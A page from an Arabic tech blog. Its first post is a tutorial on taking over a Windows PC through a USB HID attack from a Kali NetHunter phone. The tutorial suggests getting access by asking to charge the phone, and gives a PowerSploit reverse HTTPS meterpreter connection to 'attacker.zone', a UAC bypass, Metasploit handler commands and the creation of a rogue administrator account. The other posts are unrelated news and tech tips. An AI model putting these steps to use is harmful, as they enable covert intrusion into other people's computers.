اختراق نظام Windows 8.1 بهجوم USB HID

مقدمة

 مرحبا بكم زوار مدونة vox244  في موضوع جديد 

 من فترة طويلة و أنا أريد استخدام نظام Kali – NetHunter المعدل للعمل مع نظام أندرويد على عدة اجهزة (Nexus 4, 5, 7, 10, OnePlusOne) وسيتم دعم المزيد مستقبلا. توزيعة NetHunter تحمل في قلبها توزيعة Kali وتستطيع أن تعمل كل ما تعمله Kali. في نفس الوقت, هناك إضافات و تسهيلات جعلت الاختراق أسهل بكثير وهناك العديد قادم في هذه التوزيعة الواعدة من تطوير offensive-security. هجوم اليوم هو HID أو Human Interface Device عن طريق استغلال توصيل الهاتف المحمول بالكمبيوتر وهذا شائع جدا ويسهل عليك أن تطلب شحن هاتفك من أي أحد يملك جهاز كمبيورت وغالبا ستقابل ترحابا بكل سهولة.  هناك تطبيقات غير محدودة لهذا الهجوم وسنعرض اليوم إحداها.

الشرح سيكون على جهاز OnePlusOne لكنه يسري على جميع الاجهزة المدعومة

خطوات الاختراق

سأفترض مسبقا بأنك ملم بالمصطلحات التقنية التي ذكرت وسأتضطرق لتعريف الجديد منها في موضوعي.

1. تشغيل الأباتشي

اختر NetHunter Home Launcher

ثم اسحب الشاشة من اليسار إلى اليمين و اختر Kali Service Control

ثم فعل الأباتشي من القائمة

2. إعدادات هجوم الـ USB HID

سأحاول وضع الخطوات بشكل مفصل كي نستفيد منه في شروحات قادمة -إن شاء الله-

2.1. جعل أندرويد في USB Debugging mode

من قائمة البرامج, اذهب إلى

Settings >> Developer options >> Android debugging

2.2. وصل الهاتف بالجهاز المراد اختراقه

إذا تم التوصيل بنجاح ستجد تنبيه الـ Debugging mode في شريط تنبيهات الهاتف وبدونه لن تنجح عملية الاختراق

2.3. إعدادت الـ PowerSploit

مشروع الـ PowerSploit  واحد من أجمل المشاريع الموجودة على الساحة حاليا و يستخدم إمكانيات الـ PowerShell في اختراق الويندوز. تم استخدام أحد إمكانيات هذا المشروع في توزيعة NetHunter بشكل رائع.

هذا الاستغلال يسمح لك بتشغيل اتصال HTTPS عكسي على Metasploit meterpreter

هناك أربع إعدادات رئيسية

IP Address – LHOST : وهو عنوان الجهاز المشغل للميتاسبلويت handler سنتفترض أنه attacker.zone

Port – LPORT: وهو المنفذ الذي ينصت إليه الـ metasploit handler

Payload: وهنا أنت مخير بين الـ HTTP و HTTPS طبعا الأخير أفضل

URL to Payload : غاالبا يكون نفس عنوان الهاتف المحمول -لهذا قمنا بتفعيل الأباتشي سابقا- إلا إذا كنت قد أعدت الـ Payload في مكان أخر.

2.3.1. تخطي التحكم في صلاحيات المستخدم UAC

نقوم بهذه الخطوة كي نضمن تنفيذ الهجوم بأعلى صلاحيات ممكنة والتأكد من عدم منع النظام للهجوم من تنفيذ أوامر الـ PowerSploit

2.3.3. إعداد الميتاسبلويت وتنفيذ الهجوم

تشغيل الميتاسبلويت و الـ handler على الهاتف الجوال أو على الجهاز المحدد في جزء IP Address -LHOST  سابقا والذي سيتصل عليه الـ Reverse HTTPS meterpreter

msfconsoleuse exploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_httpsset LHOST attacker.zoneset LPORT 4444run

 وأخيرا تنفيذ الهجوم

2.4. إعدادت الـ Windows CMD

هنا نفس طريقة الهجوم السابقة -ونفس الخطوات عدا تشغيل الأباتشي- لكن ينفذ أوامر تقوم أنت بإعدادها مسبقا و يقوم بتنفيذها على جهاز الضحية بدلا من تشغيل Reverse HTTPS meterpreter shell.

مثلا سنضيف مستخدم جديد اسمه KING ونجعله في مجموعة المدراء Administrators. طبعا تستطيع تعديل و إضافة ما تشاء من أوامر

شخصيا منبهر من سهولة و خطورة الهجوم و كيف أصبح جوالك ألة اختراق متحركة و بأقل الخطوات

للتواصل والاستفسار :  حسابي الشخصي

تحياتي واحترامي

إقرأ المزيد

السرطان يكتب نهاية ريم بنا.. صوت المقاومة يتوقف عن الغناء

علنت عائلة الفنانة الفلسطينية، ريم بنا، وفاتها، فجر السبت، بعد صراع طويل مع مرض السرطان.

وتعتبر ريم بنا من أشهر المطربين الفلسطينيين الذين غنوا للمقاومة والانتفاضة، وهي من عائلة فنية معروفة، أمها الشاعرة زهيرة الصباغ، ولدت عام 1966 في مدينة الناصرة، ودرست الموسيقى بالمعهد العالي للموسيقى بروسيا، ويتميز غنائها بالطابع الوطني، كما أنتجت ألبومات غنائية للأطفال، ولها أيضا مشاركات في مجال حقوق الإنسان.

وشهد العام الماضي توقفها عن الغناء بعد إصابتها بشلل بالوتر الصوتي الأيسر، وقالت في رسالة لمتابعيها على مواقع التواصل الاجتماعي إنها لا تستطيع الغناء، لكنها سوف تجاهد المرض للرجوع «لسلاحها الوحيد» الذي أحبته.

وجاء في بيان عائلتها: «والدتها زهيرة وأخوها فراس وأبناؤها بيلسانوأورسالم وقمران وأصدقاؤها وأحباؤها والشعب الفلسطيني في كافة أماكن تواجده، ينعون إليكم ببالغ الحزن والأسى رحيل ابنتهم البارة ومغنية فلسطين الأولى ريم بنا، متممةً واجباتها الوطنية والإنسانية تجاه شعبها وكل مظلومي العالم».

إقرأ المزيد

تعرف علي هذا البرنامج TunesGo الذي سيجعلك تقوم بعمل روت لهاتفك بضغطة واحدة ومميزات رائعة

TunesGo :

عند قيامك بشراء هاتف جديد تحصل معه على قرص مدمج يحتوى على برنامج يمكنك من إدارة هاتفك بكل سهولة على جهاز الكمبيوتر الخاص بك ولكن في الكثير من الأحيان لا يتم إرفاق هذا البرنامج مع الهاتف أو قد تكون الشركة المصنعة للهاتف لا تمتلك برنامجاً لإدارة هواتفها من على جهاز الكمبيوتر لهذا يحاول جميع المستخدمين العثور على تطبيق يمكنهم من التحكم في الهاتف بكل سهولة بمجرد توصيله بجهاز الكمبيوتر الخاص بهم ولهذا أقدم إليكم اليوم أصدقائي برنامج TunesGo مدير الهاتف الأول والذي سيصبح الاختيار الأمثل للعديد من المستخدمين فهو يحتوى على العديد من المميزات أهمها أنه يقوم بعمل الروت لهاتفك من ضغطة زر وذلك من دون الحاجة للبحث عن روت مناسب لنوع هاتفك فهو حقاً برنامج مميز .

كما يعتبر من مميزات برنامج TunesGo هو انه متاح لجميع انظمه الهواتف سواء كان اندرويد أو IOS ومناسب أيضاً لجميع أجهزة الكمبيوتر سواء كانت تعمل بنظام ويندوز أو ماك وهذا ما سيساعد الكثير من المستخدمين وسيوفر الكثير من التعب والعناء في البحث عن برنامج مخصص لكل شئ .

مميزات برنامج TunesGo :

إن هذا البرنامج يحتوى على عدد كبير من المميزات الرائعة والتي سأتحدث معكم عن أشهرها وسأترك لكم الباقية لتستكشفونها بأنفسكم .

• يمكنك التحكم في هاتفك بالكامل مع برنامج TunesGo فقط ستقوم بتوصيله بالكمبيوتر بعد ذلك سيصبح لديك إمكانية للوصل إلي كل شئ في الهاتف .
• ستتمكن من عمل نسخة احتياطية Backup لجميع البيانات الموجودة بهاتفك واسترجاعها في دقائق معدودة إذا حدث أي فقدان لا قدر الله .
• كما بالتأكيد ستتمكن من عمل روت لهاتفك الاندرويد دون أي عناء أو مشاكل وتلك تعتبر من المميزات الأساسية التي جعلتني أقوم بمشاركة هذا البرنامج معكم أصدقائي .
• ستتمكن من عمل GIF بكل سهولة من خلال إضافة بعض الصور أو تحويل فيديو إلي GIF وذلك في دقائق وببساطة في الاستخدام .
• قم بمعرفة ما يوجد بهاتفك وذلك بمجرد توصيله بكابل USB بجهاز الكمبيوتر الخاص بك .

كيفية استخدام برنامج TunesGo

في البداية قم بالدخول إلي Developer Options من على هاتفك وتأكد من وضع علامة صح أمام كلمة USB debugging كما هو موضح في الصورة التالية .

بعد ذلك قم بفتح برنامج TunesGo على جهاز الكمبيوتر الخاص بك ثم قم بتوصيل هاتفك بالكمبيوتر من خلال كابل USB وبهذا ستتمكن من استخدام البرنامج بك سهولة وستتمكن من التنقل بين أقسام البرنامج بكل سهولة من خلال الأيقونات الموجودة بالأعلى كما هو أمامكم أصدقائي .

ولعمل الروت لهاتفك الاندرويد قم بالانتقال إلي تلك الأيقونة بعد ذلك اضغط على كلمة  On Click Root وسيبدأ البرنامج في البحث عن روت مناسب لهاتفك وقد تستغرق تلك العملية ثوان أو دقائق وذلك يعتمد على نوع الهاتف وإذا كان الروت الخاص به سهل العثور عليه أم لا .

كيفية تحميل برنامج TunesGo :

يمكنك عزيزي المستخدم من تحميل هذا البرنامج بكل سهولة من خلال الموقع الرسمي الخاص به وستجد رابط الموقع في نهاية المقال فقط قم بالضغط علية وسيتم تحويلك إلي الموقع في نافذة جديدة ومن هناك أضغط على كلمة Try it Free وسيتم تحميل البرنامج على جهاز الكمبيوتر الخاص بك في الحال .

وإلي هنا أكون قد وصلت إلي ختام هذا المقال أتمنى أن ينال إعجابكم وإلي اللقاء في مقال جديد إنشاء الله ،شكراً.

رابط تحميل البرنامج 

....

إقرأ المزيد

شاهد هذا الموقع الرهيب و الغير معروف للحصول على عمل براتب ضخم في عدة شركات و في أي مجال تريده

أصبح البحث عن عمل ما في وقتنا الحالي أمرا ليس بالصعب إذا ما اعتمدنا على الإنترنت وعلى مواقع متخصصة ، وأظن أن الكثير من المتابعين يفضلون لو يحصل على وظيفة مرموقة في مجال تقني هم أدرى بخباياه كالتصميم و البرمجة و التسويق و غيرها ، حيث تتهافت الشركات اليوم للبحث عن أشخاص ذوي كفاءة و مهارة للعمل معهم و برواتب قد لا تصدقها .

لهذا وكمساعدة لكم أعرفكم اليوم على موقع جميل وعربي تقوم فيه بالبحث عن الوظيفة التقنية  التي ترغب بها والعمل فيها في العالم العربي . للأسف الموقع لا يدعم كل الدول العربية بل ينبغي عليك الانتقال للعيش إلى بلد عربي آخر يدعمه إذا أردت العمل فيه وإليك البلدان التي يدعمها:

كما يمكنك إختيار ALL countries  للبحث عن وظائف في كل البلدان .

لا أطيل عليكم تفضل رابط الموقع: هنا

إقرأ المزيد

تعرّف على أفضل وأخطر توزيعات لينكس المستعملة من قبل الهاكرز حول العالم !

كل المطلعين على مجال الهاكرز يعلمون بأن توزيعات نظام لينكس هي الأكثر قرباً لأغلب الهاكرز والمخترقين حول العالم، وذلك بسبب ما يملكه هذا النظام من قوة وحماية كبيرة بالإضافة إلى سهولة تخصيص النظام وذلك حسب حاجتك، وعلاوة على كل ذلك يمكن لأي مستخدم أن يقوم ببناء نظامه الخاص وكذلك مشاركته مع الآخرين. هذه هي الأسباب التي تجعل نظام لينكس لديه مئات من التوزيعات المختلفة في كل المجالات، واليوم في هذه التدوينة الجديدة على مدونة VOX 244 سأقوم بتعريفكم على  قائمة بأفضل وأخطر التوزيعات المستخدمة من قبل المخترقين والهاكرز.

إقرأ المزيد

أداة جديدة من الفيسبوك لتصميم تطبيقات الأندرويد والأيفون مع رابط تحميلها

دائما ما تفاجئنا شركةFacebook  بعدة تحديثات و ادوات جديدة تكون مفيدة للمستخدمين، و مؤخرا خرجت الشركة باداة جديدة مدهشة ستمكن المطورين من تطوير تطبيقات للهواتف الذكية تعمل على نظامي التشغيل   AndroidوiOS معا !!! . 

تعرف هذه الاداة باسم Create React Native App او باختصار CRNA ، وباستخدامها فانك لن تحتاج بعد الان الى بيئة Xcode الموجودة على الماك من اجل تطوير تطبيقات الايفون ، وكذلك فانك لن تحتاج الى تنصيب Android Studio او بيئة eclipse لتطوير تطبيقات الاندرويد ، وبدل ذلك فانه يمكنك تطوير تطبيق يعمل على نظامي التشغيل Android  و iOS في ان واحد .
وتتميز الاداة بكونها تتيح تشغيل تطبيقات من دون عمل compiling للشيفرة البرمجية الاصلية ،  وبذلك فهي تسمح للمطور تحكما افضل بمكونات واجهة المستخدم سواء على Android  او على iOS وذلك باستخدام لغة البرمجة  Javascript . وايضا تمكنك الاداة من الوصول و استخدام واجهات برمجية مختلفة كجهات الاتصال او الكاميرا او الخرائط وغيرها.
لتحميل الاداة و للاطلاع اكثر : اضغط هنا

إقرأ المزيد

طريقة تغيير تاريخ ميلادك في فيس بوك بعد تجاوز الحد المسموح به ( طريقة قانونيه

الطريقة قانونيه 

حد المهام الموجوده في حسابات الفيس بوك هي تاريخ الميلاد ، فهو هام جدا وقد تحتاجه لاحقاً لفتح حسابك في فيس بوك إذا طلب منك ذلك ، لذلك يتيح لك فيس بوك تغيير محدود لتاريخ ميلادك في الموقع ، ولا يتيح لك تغييره مره أخرى

أ

في المقابل توجد طريقه بسيطه يمكن ان تستخدمها في الفيس بوك وهي تغيير تاريخ ميلادك بعد تجاوز العدد المسموح لحسابك ، وهي قانونيه من الفيس بوك ، تابعو معي 

في البد ايه اضغط على الرابط اسفل الموضوع  واضغط على إضافة عام , واختار العام الذي ولدت فيه , ثم اضغط على إضافة شهر  ، واختار الشهر الذي ولدت فيه ،ثم اضغط على إضافة يوم واختار اليوم الذي ولدت فيه  ، وآخر شئ تختار سبب تغيير الاسم  ، وإذا لم تجد سبب لتغيير الاسم اضغط في الخيارات على غير ذلك  ، وفي النهايه اضغط على ارسال

بعد الانتهاء انتظر حتى 10 دقائق حتى يتم تغيير تاريخ ميلادك من القديم إلى الجديد  ، وإلى هنا ننتهي، 

رابط صفحة تغيير الاسم :  اضغط هنا

إقرأ المزيد

قالب أحجار قالب خيالي ليس للتقنيه فقط !

قالب بلوجر احترافى باسم قالب أحجار تصميم احترافى انيق متجاوب مع جميع الهواتف قالب بمكنك استخدامه فى الكثير من المجالات ليس التقنية فقط  انما ايضا يمكن استخدامه في مدونات الفوتوغرافر والمجلات  

معاينة القالب  -  تحميل القالب

:)

إقرأ المزيد

قالب بلوجر صديق للسيو بالوان وتصميم احترافي

 قالب فكرة: قالب في غاية الإحترافية والتجاوب وصديق للسيو قالب بألوان رائعة ومميزات رائعة قالب فكرة ماج قالب خفيف وسريع وهذا كل مايحتاجه أي مدون قالب معرب بأحترافية تامة.

معاينة القالب -- تحميل القالب

________________________________________________________________________

إقرأ المزيد

التحديث الجديد لواتساب ميزه رائعه جدا جدا لحمايتة من السرقة !

التحديث الجديد لواتساب  ميزه رائعه جدا جدا لحمايتة من السرقة !

كي لا تتم سرقة حسابك على الواتس آب عن طريق تشغيله في أي هاتف آخر بعد سرقة رقم هاتفك فإن واتس آب قامت بإضافة ميزة أو خاصية جديدة بعد تفعيلها فإنه لا أحد يستطيع سرقة حسابك على الواتس آب أو الإطلاع على رسائل الواتس آب الخاصة بك ، و في هذه التدوينة اليوم على مدونة  V O X 244 سوف نتعرف على كيف يمكنك القيام بتفعيل هذه الميزة بطريقة سهلة و بسيطة .




في البداية  قم بالدخول إلى حسابك على الواتس آب من خلال هاتفك ثم بعد ذلك قم بالضغط على القائمة الجانبية و الدخول إلى إعدادات الحساب أو Settings .

بعد ذلك قم بالدخول إلى إعدادت الحساب عبر النقر على حساب أو account كما هو موضح في الصورة بالأسفل 

بعد ذلك قم بالضغط على خيار  و هو الخيار الجديد الذي تمت اضافته من رف واتس آب لجميع مستعملي واتس آب Two-step Verification

بعد أن تقوم بالضغط على خيار Two-step Verification يجب عليك تفعيله من خلال الضغط على Enable

بعد ذلك قم بإضافة رقم سري خاص بك ، حيث أنه إذا أراد شخص ما تشغيل حساب واتس آب الخاص بك على هاتف آخر لن يستطيع لأنه سوف يطلب منه الرقم السري الخاص بك .

بعد ذلك قم بتأكيد الرقم السري عبر إعادة كتابته و سوف يطلب منك واتس آب إضافة بريد إلكتروني أيضا :

بعد ذلك سوف يطلب منك إعادة كتابة البريد الإلكتروني من أجل تأكيده ثم قم بالضغط على حفظ أو Save

الآن مبروك عليك حيث أصبحت ميزة الحماية الجديدة مفعلة على حسابك في الواتس آب و سوف يكون من الصعب على أي شخص سرقة حسابك حتى إذا حصل على رقم هاتفك

لو عجبك الشرح شارك الموضوع ليستفيد غيرك :) .

إقرأ المزيد

مصر تُودِّع أمم أفريقيا للشباب بهزيمة مريرة

ودَّع منتخب مصر، بطولة كأس أمم أفريقيا للشباب، تحت 20 عامًا، بالخسارة (1-3) أمام زامبيا، مساء اليوم السبت، ضمن الجولة الثالثة من مباريات المجموعة الأولى بالبطولة.

وفرط منتخب مصر، في تقدمه بهدف كريم نيدفيد في الدقيقة (36)، ليتلقى 3 أهداف بالشوط الثاني عن طريق ثنائية داكا في الدقيقتين (49، و90)، وساكالا في الدقيقة (73).

وتجمد رصيد مصر عند نقطتين، في المركز الثالث، بينما صعد منتخب زامبيا في الصدارة وبرفقته غينيا عقب الفوز على مالي (3-2)، ويتأهلان للمونديال، المقرر في كوريا الجنوبية، مايو/أيار المقبل.

جاءت المباراة، متقاربة إلى حد كبير بين الفريقين، مع تفوق زامبيا في السرعة والتركيز على الانطلاقات خلف الظهير الأيمن للفراعنة أحمد هاني، وسنحت فرصة لسيكالوندا أنقذها المدافع المتألق أسامة جلال.

كان التفوق لزامبيا في الثلث ساعة الأولى من عمر المباراة إلا أن كفاح لاعبي الفراعنة أدى لعدم تهديد مرمى محمد الغندور سوى بمحاولات بعيدة عن الخطورة.

وبدأ المنتخب المصري الوصول للمرمى الزامبي بتسديدة قوية من بيكهام أبعدها الحارس، ثم محاولة من مصطفى محمد لم تكتمل.

وفي الدقيقة (36)، نجح كريم نيدفيد في تسجيل هدف التقدم لمصر بتمريرة عرضية متقنة من مصطفى محمد ليودعها نيدفيد الشباك.

وسدد مصطفى محمد، كرة صاروخية تصدى لها حارس زامبيا، لينتهي الشوط الأول بعدها.

تحسن أداء منتخب زامبيا في الشوط الثاني بشكل واضح، ونجح في تسجيل هدف التعادل في الدقيقة (49) عن طريق داكا، الذي سدد الكرة في الست ياردات بهفوة دفاعية لمنتخب مصر.

وحاول الفراعنة العودة للمباراة مع سيطرة زامبية، وتعرض مصطفى محمد لإصابة قوية، لكنه أصر على استكمال اللقاء.

وأشرك الجهاز الفني أول تغييراته بنزول محمد عبد السلام، بدلاً من محمود مرعي لتدعيم خط الدفاع.

ونجح منتخب زامبيا في تسجيل هدف التقدم في الدقيقة (73) عن طريق ضربة رأس من ساكالا الذي استغل تمريرة عرضية متقنة ليودع الكرة الشباك.

ودفع منتخب مصر بمهاجمه عمر مرموش على حساب مصطفى محمد في الدقيقة 81، ثم خليل حجي بدلاً من ناصر ماهر في الدقيقة (85).

وسجل منتخب زامبيا، الهدف الثالث في الدقيقة 90 عن طريق مهاجمه الخطير داكا، الذي انطلق بسرعته وسدد في مرمى الفراعنة وأضاع مرموش هدفاً للفراعنة وأجرى منتخب زامبيا آخر تغييراته بنزول موابي لينتهي اللقاء بفوز مستحق للرصاصات النحاسية.

إقرأ المزيد